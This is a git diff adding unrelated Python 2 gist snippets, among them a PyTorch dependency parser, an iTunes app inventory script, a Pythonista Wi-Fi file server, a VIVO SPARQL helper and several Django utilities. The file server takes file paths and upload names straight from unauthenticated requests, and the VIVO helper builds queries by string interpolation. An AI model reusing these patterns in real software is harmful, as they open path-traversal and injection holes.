+                      action="store_true",
+                      dest="fabsolute",
+                      help="Treat specified position as absolute one")
+     
+    parser.add_option("-x", "--left",
+                      dest="left",
+                      help="Left position in cell size, or pixel size with unit 'px'")
+
+    parser.add_option("-y", "--top",
+                      dest="top",
+                      help="Top position in cell size, or pixel size with unit 'px'")
+     
+    parser.add_option("-w", "--width",
+                      dest="width",
+                      help="Width in cell size, or pixel size with unit 'px'")
+     
+    parser.add_option("-e", "--height",
+                      dest="height",
+                      help="Height in cell size, or pixel size with unit 'px'")
+
+    options, args = parser.parse_args()
+    filename = args[0]
+
+    char_width, char_height = CellSizeDetector().get_size()
+
+    left = options.left
+    if not left is None:
+        pos = left.find("px")
+        if pos == len(left) - 2:
+            left = int(left[:pos]) / char_width 
+        else:
+            left = int(left) 
+
+    top = options.top
+    if not top is None:
+        pos = top.find("px")
+        if pos == len(top) - 2:
+            top = int(top[:pos]) / char_width 
+        else:
+            top = int(top) 
+ 
+    width = options.width
+    if not width is None:
+        pos = width.find("px")
+        if pos == len(width) - 2:
+            width = int(width[:pos]) 
+        else:
+            width = int(width) * char_width
+ 
+    height = options.height
+    if not height is None:
+        pos = height.find("px")
+        if pos == len(height) - 2:
+            height = int(height[:pos]) 
+        else:
+            height = int(height) * char_height
+               
+    writer = SixelWriter(options.f8bit)
+    writer.draw(filename, abs = options.fabsolute,
+                x = left, y = top, w = width, h = height) 
+
+
diff --git a/hard-gists/380c24afec20963617c82c43590b78f2/._snippet.py b/hard-gists/380c24afec20963617c82c43590b78f2/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/380c24afec20963617c82c43590b78f2/._snippet.py differ
diff --git a/hard-gists/380c24afec20963617c82c43590b78f2/snippet.py b/hard-gists/380c24afec20963617c82c43590b78f2/snippet.py
new file mode 100644
index 00000000..3f3e6150
--- /dev/null
+++ b/hard-gists/380c24afec20963617c82c43590b78f2/snippet.py
@@ -0,0 +1,267 @@
+'''
+Original implementation
+https://github.com/clab/dynet_tutorial_examples/blob/master/tutorial_parser.ipynb
+
+The code structure and variable names are similar for better reference.
+
+Not for serious business, just for some comparison between PyTorch and DyNet
+(and I still prefer PyTorch)
+'''
+import torch as T
+import torch.nn as NN
+import torch.nn.functional as F
+from torch.autograd import Variable
+import argparse
+
+import numpy as NP
+import numpy.random as RNG
+import re
+
+# Argument parsing
+
+parser = argparse.ArgumentParser()
+parser.add_argument("--worddim",
+                    help="dimension of word embedding",
+                    type=int,
+                    default=64)
+parser.add_argument("--lstmdim",
+                    help="dimension of LSTM hidden state",
+                    type=int,
+                    default=64)
+parser.add_argument("--actiondim",
+                    help="dimension of action layer",
+                    type=int,
+                    default=32)
+parser.add_argument("--cuda",
+                    help="use cuda",
+                    action="store_true")
+
+args = parser.parse_args()
+
+WORD_DIM = args.worddim
+LSTM_DIM = args.lstmdim
+ACTION_DIM = args.actiondim
+
+# Helper functions
+
+def variable(*args_, **kwargs):
+    v = Variable(*args_, **kwargs)
+    return v.cuda() if args.cuda else v
+
+def var_to_numpy(v):
+    return (v.cpu() if args.cuda else v).data.numpy()
+
+def zerovar(*size):
+    return variable(T.zeros(*size))
+
+# Same thing as original implementation
+
+class Vocab(object):
+    def __init__(self, w2i):
+        self.w2i = dict(w2i)
+        self.i2w = {i:w for w, i in w2i.iteritems()}
+
+    @classmethod
+    def from_list(cls, words):
+        return Vocab({w: i for i, w in enumerate(words)})
+
+    @classmethod
+    def from_file(cls, filename):
+        words = []
+        f = open(filename)
+        for l in f:
+            l = l.strip()
+            w, c = l.split()
+            words.append(w)
+        f.close()
+        return Vocab.from_list(words)
+
+    def size(self):
+        return len(self.w2i.keys())
+
+def read_oracle(fname, vw, va):
+    with open(fname) as f:
+        for line in f:
+            line = line.strip()
+            ssent, sacts = re.split(r' \|\|\| ', line)
+            sent = [vw.w2i[x] for x in ssent.split()]
+            acts = [va.w2i[x] for x in sacts.split()]
+            sent.reverse()
+            acts.reverse()
+            yield sent, acts
+
+acts = ['SHIFT', 'REDUCE_L', 'REDUCE_R']
+vocab_acts = Vocab.from_list(acts)
+SHIFT = vocab_acts.w2i['SHIFT']
+REDUCE_L = vocab_acts.w2i['REDUCE_L']
+REDUCE_R = vocab_acts.w2i['REDUCE_R']
+NUM_ACTIONS = vocab_acts.size()
+
+
+class StackRNN(object):
+    def __init__(self,
+                 cell,
+                 initial_state,
+                 get_output,
+                 p_empty_embedding=None):
+        self.cell = cell
+        self.s = [(initial_state, None)]
+        self.empty = None
+        self.get_output = get_output
+        if p_empty_embedding:
+            self.empty = p_empty_embedding
+
+    def push(self, expr, extra=None):
+        self.s.append((self.cell(expr, self.s[-1][0]), extra))
+
+    def pop(self):
+        return self.s.pop()[1]
+
+    def embedding(self):
+        return self.get_output(self.s[-1][0]) if len(self.s) > 1 else self.empty
+
+    def __len__(self):
+        return len(self.s) - 1
+
+
+class TransitionParser(NN.Module):
+    def __init__(self, vocab):
+        super(TransitionParser, self).__init__()
+
+        self.vocab = vocab
+
+        self.p_comp = NN.Linear(LSTM_DIM * 2, LSTM_DIM)
+        self.p_s2h = NN.Linear(LSTM_DIM * 2, LSTM_DIM)
+        self.p_act = NN.Linear(LSTM_DIM, NUM_ACTIONS)
+
+        self.buff_rnn_cell = NN.LSTMCell(WORD_DIM, LSTM_DIM)
+        self.stack_rnn_cell = NN.LSTMCell(WORD_DIM, LSTM_DIM)
+        self.pempty_buffer_emb = NN.Parameter(T.randn(1, LSTM_DIM))
+        self.WORDS_LOOKUP = NN.Embedding(vocab.size(), WORD_DIM)
+
+    def _rnn_get_output(self, state):
+        return state[0]
+
+    def forward(self, tokens, oracle_actions=None):
+        tokens = variable(T.LongTensor(tokens))
+        # I think DyNet implementation is doing single-sample SGD.
+        def _valid_actions(stack, buffer_):
+            valid_actions= []
+            if len(buffer_) > 0:
+                valid_actions += [SHIFT]
+            if len(stack) >= 2:
+                valid_actions += [REDUCE_L, REDUCE_R]
+            return valid_actions
+
+        if oracle_actions:
+            oracle_actions = list(oracle_actions)
+
+        # Since we are using LSTMCell here we should specify initial state
+        # manually.
+        buffer_initial = (zerovar(1, LSTM_DIM), zerovar(1, LSTM_DIM))
+        stack_initial = (zerovar(1, LSTM_DIM), zerovar(1, LSTM_DIM))
+        buffer_ = StackRNN(self.buff_rnn_cell, buffer_initial,
+                           self._rnn_get_output, self.pempty_buffer_emb)
+        stack = StackRNN(self.stack_rnn_cell, stack_initial,
+                         self._rnn_get_output)
+
+        losses = []
+
+        tok_embeddings = self.WORDS_LOOKUP(tokens.unsqueeze(0))[0] # batch dim
+        for i in range(tok_embeddings.size()[0]):
+            tok_embedding = tok_embeddings[i].unsqueeze(0)
+            tok = tokens[i].data.numpy()[0]
+            buffer_.push(tok_embedding, (tok_embedding, self.vocab.i2w[tok]))
+
+        while not (len(stack) == 1 and len(buffer_) == 0):
+            valid_actions = _valid_actions(stack, buffer_)
+            log_probs = None
+            action = valid_actions[0]
+            if len(valid_actions) > 1:
+                p_t = T.cat([buffer_.embedding(), stack.embedding()], 1)
+                h = T.tanh(self.p_s2h(p_t))
+                logits = self.p_act(h)[0][T.LongTensor(valid_actions)]
+                valid_action_tbl = {a: i for i, a in enumerate(valid_actions)}
+                log_probs = F.log_softmax(logits)
+                if oracle_actions is None:
+                    action_idx = T.max(log_probs, 0)[1][0].data.numpy()[0]
+                    action = valid_actions[action_idx]
+            if oracle_actions is not None:
+                action = oracle_actions.pop()
+            if log_probs is not None:
+                losses.append(log_probs[valid_action_tbl[action]])
+
+            if action == SHIFT:
+                tok_embedding, token = buffer_.pop()
+                stack.push(tok_embedding, (tok_embedding, token))
+            else:
+                right = stack.pop()
+                left = stack.pop()
+                head, modifier = ((left, right) if action == REDUCE_R
+                                  else (right, left))
+                head_rep, head_tok = head
+                mod_rep, mod_tok = modifier
+                comp_rep = T.cat([head_rep, mod_rep], 1)
+                comp_rep = T.tanh(self.p_comp(comp_rep))
+
+                stack.push(comp_rep, (comp_rep, head_tok))
+                if oracle_actions is None:
+                    print '%s --> %s' % (head_tok, mod_tok)
+
+        if oracle_actions is None:
+            head = stack.pop()[1]
+            print 'ROOT --> %s' % head
+        return -T.sum(T.cat(losses)) if len(losses) > 0 else None
+
+
+vocab_words = Vocab.from_file('data/vocab.txt')
+train = list(read_oracle('data/small-train.unk.txt', vocab_words, vocab_acts))
+dev = list(read_oracle('data/small-dev.unk.txt', vocab_words, vocab_acts))
+
+model = TransitionParser(vocab_words)
+if args.cuda:
+    model.cuda()
+
+opt = T.optim.SGD(model.parameters(), lr=1e-6)
+
+instances_processed = 0
+validation_losses = []
+for epoch in range(5):
+    RNG.shuffle(train)
+    words = 0
+    total_loss = 0.
+    for (s, a) in train:
+        e = instances_processed // len(train)
+        if instances_processed % 1000 == 0:
+            model.eval()
+            dev_words = 0
+            dev_loss = 0.
+            for (ds, da) in dev:
+                loss = model.forward(ds, da)
+                dev_words += len(ds)
+                if loss is not None:
+                    dev_loss += loss.data.numpy()
+            print ('[valid] epoch %d: per-word loss: %.6f' %
+                   (e, dev_loss / dev_words))
+            validation_losses.append(dev_loss)
+
+        if instances_processed % 100 == 0 and words > 0:
+            print 'epoch %d: per-word loss: %.6f' % (e, total_loss / words)
+            words = 0
+            total_loss = 0.
+
+        model.train()
+        loss = model.forward(s, a)
+        words += len(s)
+        instances_processed += 1
+
+        if loss is not None:
+            total_loss += loss.data.numpy()
+            loss.backward()
+            opt.step()
+
+s = 'Parsing in Austin is fun .'
+UNK = vocab_words.w2i['<unk>']
+toks = [vocab_words.w2i[x] if x in vocab_words.w2i else UNK for x in s.split()]
+toks.reverse()
+model.forward(toks, None)
diff --git a/hard-gists/3816122/._snippet.py b/hard-gists/3816122/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3816122/._snippet.py differ
diff --git a/hard-gists/3816122/snippet.py b/hard-gists/3816122/snippet.py
new file mode 100644
index 00000000..6f6db38e
--- /dev/null
+++ b/hard-gists/3816122/snippet.py
@@ -0,0 +1,105 @@
+#!/usr/bin/python
+
+import zipfile
+import glob
+import fnmatch
+import sys
+import json
+import os
+
+import Foundation
+import envoy # easy_install -U envoy
+
+# you also need ideviceinstaller: brew install ideviceinstaller
+
+# Plug in all your devices, unlock them and then run this script, this script
+# will tell you what apps you have in itunes that are not installed on your 
+# devices. You're probably going to want to sync iTunes with your devices before
+# running this.
+#
+# You can then use this information to purge itunes of these junk apps.
+#
+# This script creates files on your desktop called iTunes.json and <UDID>.json -
+# you'll want to trash them when done.
+
+class AppInventory(object):
+
+	def __init__(self, name):
+		self.name = name
+		self.apps = dict()
+
+	def read_from_iTunes(self):
+		if os.path.exists(os.path.expanduser('~/Desktop/%s.json' % self.name)):
+			self.apps = json.load(file(os.path.expanduser('~/Desktop/%s.json' % self.name)))
+		else:
+			path = os.path.expanduser('~/Music/iTunes/iTunes Music/Mobile Applications/*.ipa')
+			for thePath in glob.glob(path):
+				theZipfile = zipfile.ZipFile(thePath, 'r')
+				theNames = theZipfile.namelist()
+				
+				for theName in theNames:
+					if fnmatch.fnmatch(theName, 'Payload/*.app/Info.plist'):
+						theData = theZipfile.read(theName)
+						theData = Foundation.NSData.dataWithBytes_length_(theData, len(theData))
+						thePropertyList, theMutablilityOption, theError = Foundation.NSPropertyListSerialization.propertyListFromData_mutabilityOption_format_errorDescription_(theData, Foundation.NSPropertyListImmutable, None, None)
+						self.process_infoplist(theName, thePropertyList)
+
+	def read_from_device(self, udid):
+		if os.path.exists(os.path.expanduser('~/Desktop/%s.json' % self.name)):
+			self.apps = json.load(file(os.path.expanduser('~/Desktop/%s.json' % self.name)))
+		else:
+			r = envoy.run('ideviceinstaller -l -o xml --uuid %s' % udid)
+			theData = Foundation.NSData.dataWithBytes_length_(r.std_out, len(r.std_out))
+			thePropertyList, theMutablilityOption, theError = Foundation.NSPropertyListSerialization.propertyListFromData_mutabilityOption_format_errorDescription_(theData, Foundation.NSPropertyListImmutable, None, None)
+			for theInfoPlist in thePropertyList:
+				self.process_infoplist(None, theInfoPlist)
+
+	def process_infoplist(self, name, plist):
+		theBundleName = None
+		if 'CFBundleName' in plist:
+			theBundleName = plist['CFBundleName']
+		theVersion = None
+		if 'CFBundleVersion' in plist:
+			theVersion = plist['CFBundleVersion']
+		theIdentifier = None
+		if 'CFBundleIdentifier' in plist:
+			theIdentifier = plist['CFBundleIdentifier']
+		if not theIdentifier:
+			print '# Info.plist with no identifier'
+			print plist
+			sys.exit(0)
+			return
+		if not theBundleName or not theVersion:
+			print '# Corrupt file', theIdentifier
+			return
+		if theIdentifier in self.apps:
+			print '# Duplicate'
+			return
+		self.apps[theIdentifier] = (theBundleName, theIdentifier, theVersion)
+
+	def save(self):
+		json.dump(self.apps, file(os.path.expanduser('~/Desktop/%s.json' % self.name), 'w'), indent=4)
+
+itunes = AppInventory('itunes')
+itunes.read_from_iTunes()
+itunes.save()
+
+theDeviceInventories = []
+
+r = envoy.run('idevice_id -l')
+theUDIDs = [theUDID for theUDID in r.std_out.split('\n') if theUDID]
+for theUDID in theUDIDs:
+	print '# Scanning', theUDID
+	theDeviceInventory = AppInventory(theUDID)
+	theDeviceInventory.read_from_device(theUDID)
+	theDeviceInventory.save()
+	theDeviceInventories.append(theDeviceInventory)
+
+for theApp in itunes.apps:
+	found = False
+	for theDeviceInventory in theDeviceInventories:
+		if theApp in theDeviceInventory.apps:
+			found = True
+			break
+	if not found:
+		print itunes.apps[theApp]
\ No newline at end of file
diff --git a/hard-gists/3822f77eb07e8e8efb2e/._snippet.py b/hard-gists/3822f77eb07e8e8efb2e/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3822f77eb07e8e8efb2e/._snippet.py differ
diff --git a/hard-gists/3822f77eb07e8e8efb2e/snippet.py b/hard-gists/3822f77eb07e8e8efb2e/snippet.py
new file mode 100644
index 00000000..a083d763
--- /dev/null
+++ b/hard-gists/3822f77eb07e8e8efb2e/snippet.py
@@ -0,0 +1,31 @@
+#!/usr/bin/env python
+
+import pygtk
+import gtk
+import webkit
+import sys
+
+class Browser:
+
+    def __init__(self):
+        self.window = gtk.Window(gtk.WINDOW_TOPLEVEL)
+        self.window.fullscreen()
+        #self.window.set_default_size(600,400)
+        #self.window.set_resizable(True)
+        self.web_view = webkit.WebView()
+        self.web_view.open(str(sys.argv[1]))
+        scroll_window = gtk.ScrolledWindow(None, None)
+        scroll_window.set_policy(gtk.POLICY_NEVER, gtk.POLICY_NEVER)
+        scroll_window.set_placement(gtk.CORNER_TOP_LEFT)
+        scroll_window.add(self.web_view)
+        box = gtk.VBox(False, 0)
+        box.add(scroll_window)
+        self.window.add(box)
+        self.window.show_all()
+
+    def main(self):
+        gtk.main()
+
+if __name__ == "__main__":
+    browser = Browser()
+    browser.main()
\ No newline at end of file
diff --git a/hard-gists/3823483/._snippet.py b/hard-gists/3823483/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3823483/._snippet.py differ
diff --git a/hard-gists/3823483/snippet.py b/hard-gists/3823483/snippet.py
new file mode 100644
index 00000000..c1e2ed3d
--- /dev/null
+++ b/hard-gists/3823483/snippet.py
@@ -0,0 +1,143 @@
+# File Transfer for Pythonista
+# ============================
+# This script allows you to transfer Python files from
+# and to Pythonista via local Wifi.
+# It starts a basic HTTP server that you can access
+# as a web page from your browser.
+# When you upload a file that already exists, it is
+# renamed automatically.
+# From Pythonista's settings, you can add this script
+# to the actions menu of the editor for quick access.
+#
+# Get Pythonista for iOS here:
+# http://omz-software.com/pythonista
+
+from BaseHTTPServer import BaseHTTPRequestHandler
+import urlparse
+import urllib
+import cgi
+import editor
+import console
+from socket import gethostname
+import os
+from cStringIO import StringIO
+ 
+TEMPLATE = ('<!DOCTYPE html><html><head>' +
+  '<link href="http://netdna.bootstrapcdn.com/twitter-bootstrap/2.1.1/'+
+  'css/bootstrap-combined.min.css" rel="stylesheet"></head><body>' +
+  '<div class="navbar"><div class="navbar-inner">' +
+  '<a class="brand" href="#">Pythonista File Transfer</a>' +
+  '</div></div><div class="container">' +
+  '<h2>Upload File</h2>{{ALERT}}'
+  '<p><form action="/" method="POST" enctype="multipart/form-data">' +
+  '<div class="form-actions">' +
+  '<input type="file" name="file"></input><br/><br/>' +
+  '<button type="submit" class="btn btn-primary">Upload</button>' +
+  '</div></form></p><hr/><h2>Download Files</h2>' +
+  '{{FILES}}</div></body></html>')
+ 
+class TransferRequestHandler(BaseHTTPRequestHandler):
+	def get_unused_filename(self, filename):
+		if not os.path.exists(filename):
+			return filename
+		basename, ext = os.path.splitext(filename)
+		suffix_n = 1
+		while True:
+			alt_name = basename + '-' + str(suffix_n) + ext
+			if not os.path.exists(alt_name):
+				return alt_name
+			suffix_n += 1
+	
+	def get_html_file_list(self):
+		buffer = StringIO()
+		buffer.write('<ul>')
+		root_dir = os.path.expanduser('~/Documents')
+		
+		files = []
+		for dn, dc, filenames in os.walk(root_dir):
+			for fn in filenames:
+				rel_dir = os.path.relpath(dn, root_dir)
+				if rel_dir != '.':
+					rel_file = os.path.join(rel_dir, fn)
+				else:
+					rel_file = fn
+				files.append(rel_file)
+		
+		for filename in files:
+			if os.path.splitext(filename)[1] == '.py':
+				buffer.write('<li><a href="%s">%s</a></li>' % (filename, filename))
+		buffer.write('</ul>')
+		return buffer.getvalue()
+	
+	def do_GET(self):
+		parsed_path = urlparse.urlparse(self.path)
+		path = parsed_path.path
+		if path == '/':
+			html = TEMPLATE
+			html = html.replace('{{ALERT}}', '')
+			html = html.replace('{{FILES}}', self.get_html_file_list())
+			self.send_response(200)
+			self.send_header('Content-Type', 'text/html')
+			self.end_headers()
+			self.wfile.write(html)
+			return
+		file_path = urllib.unquote(path)[1:]
+		if os.path.isfile(file_path):
+			self.send_response(200)
+			self.send_header('Content-Type', 'application/x-python')
+			self.send_header('Content-Disposition',
+			                 'attachment; filename=%s' % file_path)
+			self.end_headers()
+			with open(file_path, 'r') as f:
+				data = f.read()
+				self.wfile.write(data)
+		else:
+			html = TEMPLATE
+			html = html.replace('{{ALERT}}', 
+			       '<div class="alert alert-error">File not found</div>')
+			html = html.replace('{{FILES}}', self.get_html_file_list())
+			self.send_response(404)
+			self.send_header('Content-Type', 'text/html')
+			self.end_headers()
+			self.wfile.write(html)
+ 
+	def do_POST(self):
+		form = cgi.FieldStorage(fp=self.rfile, headers=self.headers,
+		                        environ={'REQUEST_METHOD':'POST',
+		                       'CONTENT_TYPE':self.headers['Content-Type']})
+		self.send_response(200)
+		self.send_header('Content-Type', 'text/html')
+		self.end_headers()
+		field_item = form['file']
+		uploaded_filename = None
+		dest_filename = None
+		file_data = field_item.file.read()
+		file_len = len(file_data)
+		uploaded_filename = field_item.filename
+		dest_filename = self.get_unused_filename(uploaded_filename)
+		with open(dest_filename, 'w') as f:
+			f.write(file_data)
+		editor.reload_files()
+		del file_data
+		html = TEMPLATE
+		if uploaded_filename != dest_filename:
+			message = '%s uploaded (renamed to %s).' % (uploaded_filename,
+			                                           dest_filename)
+		else:
+			message = '%s uploaded.' % (uploaded_filename)
+		html = html.replace('{{ALERT}}',
+		       '<div class="alert alert-success">%s</div>' % (message))
+		html = html.replace('{{FILES}}', self.get_html_file_list())
+		self.wfile.write(html)
+ 
+if __name__ == '__main__':
+	console.clear()
+	from BaseHTTPServer import HTTPServer
+	server = HTTPServer(('', 8080), TransferRequestHandler)
+	URL = 'http://%s.local:8080' % gethostname()
+	print 'Open this page in your browser:'
+	console.set_font('Helvetica-Bold', 30)
+	print URL
+	console.set_font()
+	print 'Tap the stop button when you\'re done.'
+	server.serve_forever()
\ No newline at end of file
diff --git a/hard-gists/3829194/._snippet.py b/hard-gists/3829194/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3829194/._snippet.py differ
diff --git a/hard-gists/3829194/snippet.py b/hard-gists/3829194/snippet.py
new file mode 100644
index 00000000..1043eed8
--- /dev/null
+++ b/hard-gists/3829194/snippet.py
@@ -0,0 +1,117 @@
+"""
+Use the Vivo harverster with Python and Jnius.
+
+You need to set the Java classpath before running this. 
+e.g.
+    export CLASSPATH=".:/work/javalib/*"
+
+The path you specify needs to contain the Vivo Harvester jar.  
+
+https://github.com/vivo-project/VIVO-Harvester
+
+"""
+
+from jnius import autoclass
+
+
+SDBJenaConnect = autoclass('org.vivoweb.harvester.util.repo.SDBJenaConnect')
+SimpleSelector = autoclass('com.hp.hpl.jena.rdf.model.SimpleSelector')
+
+class VivoConn(object):
+    """
+    A connection to Vivo SDB using the Vivo harvester.
+
+    Pass in a dictionary with the connection details.
+
+    {
+     'db_url': 'vivo.school.edu/vivodb',
+     'namespace': 'http://vivo.school.edu/individual/',
+     'user': 'admin'
+     'password': 'pass',
+    }
+
+    """
+
+    def __init__(self, conf):
+        db_url = conf.get('db_url')
+        self.conn = SDBJenaConnect(
+            'jdbc:mysql://%s' % db_url,
+            conf.get('user'),
+            conf.get('password'),
+            conf.get('db_type', 'MySQL'),
+            #class
+            conf.get('db_driver', 'com.mysql.jdbc.Driver'),
+            #layout
+            conf.get('layout', 'layout2'),
+            #modelname
+            conf.get('layout', 'http://vitro.mannlib.cornell.edu/default/vitro-kb-2')
+        )
+        self.namespace = conf.get('namespace')
+
+    def close(self):
+        self.conn.close()
+
+    def get_next_uri(self, max=9999999):
+        """
+        Get a random identifer to use as a resource uri.
+
+        Interpretation of getNextURI here:
+        http://svn.code.sf.net/p/vivo/vitro/code/branches/dev-sdb/webapp/src/edu/cornell/mannlib/vitro/webapp/utils/jena/JenaIngestUtils.java
+        """
+        import random
+        model = self.conn.getJenaModel()
+        next_uri = None
+        if self.namespace is None:
+            raise Exception('Namespace is None; set it.')
+        while True:
+            next_uri = self.namespace + 'n' + str(random.randint(1, max))
+            resource = model.createResource(next_uri)
+            #Check if this uri is the subject of any statements.
+            sub_selector = SimpleSelector(resource, None, None)
+            sub_iter = model.listStatements(sub_selector)
+            if sub_iter.hasNext():
+                sub_iter.close()
+                continue
+            else:
+                #Check if this uri is the object of any statements.
+                obj_selector = SimpleSelector(None, None, resource)
+                obj_iter = model.listStatements(obj_selector)
+                if obj_iter.hasNext():
+                    obj_iter.close()
+                    continue
+                else:
+                    break
+        return next_uri
+
+
+    def get_or_next(self, vtype, label):
+        """
+        Pass in a vivo type and a label to fetch the matching
+        resource or return a next random identifier for creating
+        resource.
+        """
+        query = """
+        PREFIX vivo: <http://vivoweb.org/ontology/core#>
+        PREFIX xsd:   <http://www.w3.org/2001/XMLSchema#>
+        PREFIX rdfs:  <http://www.w3.org/2000/01/rdf-schema#>
+        select ?uri
+        where {
+               ?uri a %(vtype)s.
+               ?uri rdfs:label "%(label)s".
+        }
+        LIMIT 1
+        """ % {'vtype': vtype, 'label': label}
+        result_iter = self.conn.executeSelectQuery(query)
+        while True:
+            if result_iter.hasNext():
+                next_result = result_iter.next()
+                uri = next_result.get('?uri').toString()
+                return (uri, False)
+            else:
+                break
+        #If we are here, we need to generate a new uri.
+        next_uri = self.get_next_uri()
+        return (next_uri, True)
+
+
+    
\ No newline at end of file
diff --git a/hard-gists/3829302/._snippet.py b/hard-gists/3829302/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3829302/._snippet.py differ
diff --git a/hard-gists/3829302/snippet.py b/hard-gists/3829302/snippet.py
new file mode 100644
index 00000000..1365c039
--- /dev/null
+++ b/hard-gists/3829302/snippet.py
@@ -0,0 +1,39 @@
+from django.template.defaultfilters import slugify
+from django.contrib.sites.models import Site
+from django.core.files import File
+from taggit.models import Tag
+from .models import Photo
+import factory
+import os
+
+TEST_MEDIA_PATH = os.path.join(os.path.dirname(__file__), 'tests', 'test_media')
+TEST_PHOTO_PATH = os.path.join(TEST_MEDIA_PATH, 'test_photo.png')
+
+
+class PhotoFactory(factory.Factory):
+    FACTORY_FOR = Photo
+
+    title = factory.Sequence(lambda n: 'Test Photo {0}'.format(n))
+    slug = factory.LazyAttribute(lambda a: slugify(a.title))
+    status = 'P'
+    photo = factory.LazyAttribute(lambda a: File(open(TEST_PHOTO_PATH)))
+
+    @factory.post_generation(extract_prefix='tags')
+    def add_default_tags(self, create, extracted, **kwargs):
+        # allow something like ArticleFactory(tags=Tag.objects.all())
+        if extracted and type(extracted) == type(Tag.objects.all()):
+            self.tags = extracted
+            self.save()
+        else:
+            self.tags.add("lorem", "ipsum", "dolor")
+
+    @factory.post_generation(extract_prefix='sites')
+    def add_default_site(self, create, extracted, **kwargs):
+
+        # allow something like ArticleFactory(sites=Site.objects.all())
+        if extracted and type(extracted) == type(Site.objects.all()):
+            self.sites = extracted
+            self.save()
+        else:
+            self.sites.add(Site.objects.get_current())
+            self.save()
diff --git a/hard-gists/3832818/._snippet.py b/hard-gists/3832818/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3832818/._snippet.py differ
diff --git a/hard-gists/3832818/snippet.py b/hard-gists/3832818/snippet.py
new file mode 100644
index 00000000..6dc312c2
--- /dev/null
+++ b/hard-gists/3832818/snippet.py
@@ -0,0 +1,42 @@
+from optparse import make_option
+
+from django.core.management.base import BaseCommand, CommandError
+from django.contrib.sites.models import Site
+from django.db import transaction
+
+from cms.models import Page
+
+
+class Command(BaseCommand):
+    help = 'Copy the CMS pagetree from a specific SITE_ID.'
+    option_list = BaseCommand.option_list + (
+        make_option('--from', dest='from_site', default=None,
+            help='Specifies the SITE_ID to copy from.'),
+        make_option('--to', dest='to_site', default=None,
+            help='Specifies the SITE_ID to copy to.')
+    )
+
+    def handle(self, *args, **options):
+        from_site = options.get('from_site', None)
+        to_site = options.get('to_site', None)
+
+        if not from_site or not to_site:
+            raise CommandError("You must use --from and --to to use this command.")
+
+        self.get_site(from_site)
+        site = self.get_site(to_site)
+        pages = Page.objects.filter(site=from_site, level=0)
+
+        with transaction.commit_on_success():
+            for page in pages:
+                page.copy_page(None, site)
+
+            Page.objects.filter(site=to_site).update(published=True)
+            self.stdout.write("Copied CMS Tree from SITE_ID {0} successfully to SITE_ID {1}.\n".format(from_site, to_site))
+
+
+    def get_site(self, site_id):
+        try:
+            return Site.objects.get(pk=site_id)
+        except Site.DoesNotExist:
+            raise CommandError("\nUnknown site: {0}. Please create a new site first.\n".format(site_id))
diff --git a/hard-gists/3833430/._snippet.py b/hard-gists/3833430/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3833430/._snippet.py differ
diff --git a/hard-gists/3833430/snippet.py b/hard-gists/3833430/snippet.py
new file mode 100644
index 00000000..bd83708d
--- /dev/null
+++ b/hard-gists/3833430/snippet.py
@@ -0,0 +1,51 @@
+# -*- coding: utf-8 -*-
+from django.views.generic import ListView
+
+class SortableListView(ListView):
+    allowed_sort_fields = ()
+    sort_default = None
+    sort_key = 'sort'
+    sort_field_splitter = '-'
+    sort_ascending_postfix = 'up'
+    sort_descending_postfix = 'down'
+    sort_allow_post = False
+    sort_field_map = {}
+
+
+    def get_sort_key(self):
+        return self.sort_key
+
+    def get_allowed_sort_fields(self):
+        return self.allowed_sort_fields
+
+    def get_queryset(self):
+        return self.sort_queryset(super(SortableListView, self).get_queryset())
+
+    def sort_queryset(self, queryset):
+        self.sorted_by = None
+        self.sorted_direction = None
+        if self.sort_default:
+            queryset = queryset.order_by(self.sort_default)
+        if self.sort_allow_post and self.request.method == 'POST':
+            data = self.request.POST
+        else:
+            data = self.request.GET
+        key = self.get_sort_key()
+        if key not in data or self.sort_field_splitter not in data[key]:
+            return queryset
+        sort_field, direction = data[key].rsplit(self.sort_field_splitter, 1)
+        if direction not in (self.sort_ascending_postfix, self.sort_descending_postfix):
+            return queryset
+        allowed_fields = self.get_allowed_sort_fields()
+        if sort_field not in allowed_fields:
+            return queryset
+        self.sorted_by = sort_field
+        self.sorted_direction = direction
+        sort_field = self.sort_field_map.get(sort_field, sort_field)
+        if direction == self.sort_descending_postfix:
+            sort_field = '-' + sort_field
+        return queryset.order_by(sort_field)
+
+    def get_context_data(self, **kwargs):
+        kwargs.update({'sorted_by': self.sorted_by, 'sorted_direction': self.sorted_direction})
+        return super(SortableListView, self).get_context_data(**kwargs)
diff --git a/hard-gists/3834957/._snippet.py b/hard-gists/3834957/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3834957/._snippet.py differ
diff --git a/hard-gists/3834957/snippet.py b/hard-gists/3834957/snippet.py
new file mode 100644
index 00000000..58c8f323
--- /dev/null
+++ b/hard-gists/3834957/snippet.py
@@ -0,0 +1,219 @@
+#!/usr/bin/env python2
+# -*- coding: utf-8 -*-
+
+import locale
+import subprocess
+
+locale.setlocale(locale.LC_ALL, '')
+
+from libqtile import bar, hook, layout, widget
+from libqtile.command import lazy
+from libqtile.manager import Drag, Click, Group, Key, Screen
+
+class Commands(object):
+    menu = 'dmenu_run -i -b -p "»" -fn "-*-14-*-" -nb "#000" -nf "#fff" -sb "#15181a" -sf "#fff"'
+    browser = 'firefox'
+    terminal = 'sakura'
+    lock = 'xscreensaver-command -lock'
+    vbox = 'virtualbox'
+    skype = 'skype'
+    files = 'nautilus'
+    
+    autostart = [browser, terminal, skype, files]
+
+class Theme(object):
+    bar = {
+        'size': 26,
+        'background': '15181A',
+    }
+    widget = {
+        'font': 'Ubuntu',
+        'fontsize': 13,
+        'background': bar['background'],
+        'foreground': 'EEEEEE'
+    }
+    graph = {
+        'background': bar['background'],
+        'border_width': 0,
+        'line_width': 2,
+        'margin_x': 5,
+        'margin_y': 5,
+        'width': 50
+    }
+    groupbox = dict(widget)
+    groupbox.update({
+        'padding': 2,
+        'borderwidth': 3,
+        'inactive': '999999'
+    })
+    sep = {
